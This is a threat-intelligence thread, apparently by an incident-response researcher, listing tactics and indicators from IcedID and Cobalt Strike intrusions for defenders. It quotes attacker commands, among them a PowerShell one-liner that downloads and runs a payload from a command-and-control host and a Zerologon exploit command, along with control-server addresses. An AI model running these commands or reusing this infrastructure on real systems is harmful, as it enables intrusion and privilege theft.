Thread by @Kostastsale

1/x
For the past couple of weeks, #IcedID has been hitting hard, with post-exploitation activities beginning within ~1 hour from the initial infection.

Here are some TTPs and IOCs from these post-exploitation activities that will keep defenders ready.
🧵👇

2/x
🎯TTPs
➡️IcedID use of VNC
💡Over port 8080
➡️Multiple Cobalt Strike DLLs on disk
💡Overused directories - "C:\Windows\Tasks" & - "%user%\AppData\Local\Temp"
➡️Heavy use of PowerShell
💡Downloading payloads, exec PowerShell Cobalt Strike Loaders & other processes

3/x
➡️Used multiple privilege escalation methods
💡zerologon, Invoke-Kerberoast, Invoke-EnvBypass
➡️Reverse proxy via Cobalt Strike and then RDPing into the network
➡️Invoke-BloodHound & Invoke-ShareFinder for network and open-shares discovery

4/x
🛡️IOCs
➡️Cobalt Strike C2 & staging servers
💡23.227.202.66 - allowedcloud\.com
💡64.227.8.75:80 (Hosting files & possible redirector pointing to allowedcloud\.com)
💡80.77.25.65:443 - jumptoupd\.com

5/x
➡️Cobalt Strike payload execution
💡regsvr32.exe /s C:\Users\<user>\AppData\Local\Temp\<DLL>
💡rundll32.exe /s c:\windows\tasks\<DLL>,NtSetSystemTime
💡powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('hxxp://allowedcloud\.com:80/ItsMyBIT'))"

6/x
➡️IcedID C2 Servers
💡51.195.169.87:8080 - VNC connections
💡185.99.133.122:443
💡23.254.202.234:443
💡89.44.9.157:443

7/x
➡️Zerologon exploit - virustotal.com/gui/file/36bc3…
💡zero.exe [DC IP ADDRESS] [DOMAIN NAME] [DOMAIN ADMIN] -c "whoami > [RESULTED OUTPUT DIR/FILE]"

8/end
These are the most common TTPs and some new IOCs related to IcedID Hands-On-Keyboard post-exploitation activities.

Thanks to @pr0xylife for sharing the initial sample 🙏

Get additional context along with more IOCs like these @ thedfirreport.com/services

Stay safe💙